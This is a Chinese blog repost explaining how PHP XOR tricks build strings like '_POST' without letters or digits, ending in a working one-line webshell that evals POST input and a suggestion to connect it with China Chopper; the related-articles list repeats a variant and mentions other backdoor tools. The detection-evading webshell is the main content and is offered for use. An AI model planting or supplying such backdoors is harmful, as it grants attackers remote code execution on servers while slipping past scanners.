php后门--异或

看这个:

<?php

echo "A"^"}";

?>

运行这段代码,那么输出的结果是字符"<",之所以会得到这样的结果,是因为代码中对字符"A"和字符"}"进行了异或操作。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。异或操作有时也被用来交换两个变量的值。

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php

$_++;

$__="<"^"}";

$__("stuff");

?>

看到这段代码,大家或许会觉得很疑惑,下面我简单的来解释一下:

(1)$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

(2)$__="<"^"}";对字符"<"和"}"进行异或运算,得到结果A赋给变量名为"__"(两个下划线)的变量

(3)$__("stuff");通过上面的赋值操作,变量$__的值为A,所以这行可以看作是A("stuff"),在PHP中,这行代码表示调用函数A,但是由于程序中并未定义函数A,所以这行代码会抛出一个致命错误使程序停止运行。这行代码没什么实际的意义,但是它能简单体现出在PHP中,我们可以将字符串当作函数来处理。

文章进行到这里,大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。如果你依然迷惑,那说明本菜鸟的文章写的不好,先说声抱歉了,但是还是希望你别骂我。

上面的那段示例代码最后会出错,导致程序停止运行,当然写出一个出错的程序并不是我们的目的,使用这种后门的主要目的是创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
@eval(${$__}[!$_]);//mima:0

上菜刀把。

php后门--异或,布布扣,bubuko.com

时间: 2024-10-26 18:58:55

php后门--异或的相关文章

一个一句话后门代码详解

神秘的一句话后门代码内容: <?php    @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]); ?> 代码作用: 以上代码即是PH

一个神秘的PHP一句话后门代码详解

神秘的一句话后门代码内容: <?php    @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]); ?> 代码作用: 以上代码即是PH

一个神秘的一句话后门代码详解

神秘的一句话后门代码内容: <?php    @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]); ?> 代码作用: 以上代码即是PH

Xshell高级后门完整分析报告(ZT)

1. 前言 近日,Xshell官方发布公告称其软件中存在后门.我们的实习生同学对该后门进行了详细的分析,确认这是一个具备恶意代码下载执行和数据回传等能力的高级木马. 后门代码存在于nssock2.dll中,采用了多层加密shellcode.花指令.线程注入等各种方式逃避杀软查杀和对抗人工分析.总体流程如下 2. 详细过程分析 2.1 第一层功能分析 通过BinDiff跟最新版的nssock2.dll比较可以很容易的发现一个解密shellcode的函数 去掉花指令分析,进入到shellcode后主

Linux下各种后门和日志工具详解

攻入Linux系统后,很多入侵者往往就开始得意忘形了.这其中还有一个原因,就是技术性也要求更高了.下面,我们来看看一些常用的经典工具. 1.从这里延伸:后门和连接工具 (1)Httptunnel Tunnel的意思是隧道,通常HTTPTunnel被称之为HTTP暗道,它的原理就是将数据伪装成HTTP的数据形式来穿过防火墙,实际上,它是在HTTP请求中创建了一个双向的虚拟数据连接来穿透防火墙.说得简单点,就是说在防火墙两边都设立一个转换程序,将原来需要发送或接受的数据包封装成HTTP请求的格式骗过

【算法】Gh0st配置加密算法(异或、Base64)

1.前言 分析木马程序常常遇到很多配置信息被加密的情况,虽然现在都不直接分析而是通过Wireshark之类的直接读记录. 2017年Gh0st样本大量新增,通过对木马源码的分析还发现有利用Gh0st加密方式来传播的源码中的后门. 2.加密思路 控制端:对字符串异或.移位.Base64编码 服务端:对字符串Base64解码.移位.异或 3.实践代码 加密编码 // Base64编码 static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

0x01 前言 最近在做代码审计的工作中遇到了一个难题,题目描述如下: <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }e

C的|、||、&amp;、&amp;&amp;、异或、~、!运算

位运算     位运算的运算分量只能是整型或字符型数据,位运算把运算对象看作是由二进位组成的位串信息,按位完成指定的运算,得到位串信息的结果. 位运算符有:     &(按位与).|(按位或).^(按位异或).~ (按位取反). 其中,按位取反运算符是单目运算符,其余均为双目运算符.     位运算符的优先级从高到低,依次为~.&.^.|, 其中~的结合方向自右至左,且优先级高于算术运算符,其余运算符的结合方向都是自左至右,且优先级低于关系运算符.    (1)按位与运算符(&) 

linux命令逻辑运算:与、或、非、异或

逻辑运算:与&.或|.非!.异或    与:只要有一个为假,结果一定为假    或:只要有一个为真,结果一定为真  1:真     0:假          1.与&      1 & 0 = 0    0 & 0 = 0 1 & 1 = 1    0 & 1 = 0    2.或      0|1 = 1    0|0 = 0 1|1 = 1    1|0 = 1 3.非!      !真 = 假    !假 = 真 4.异或      操作数相同则为假,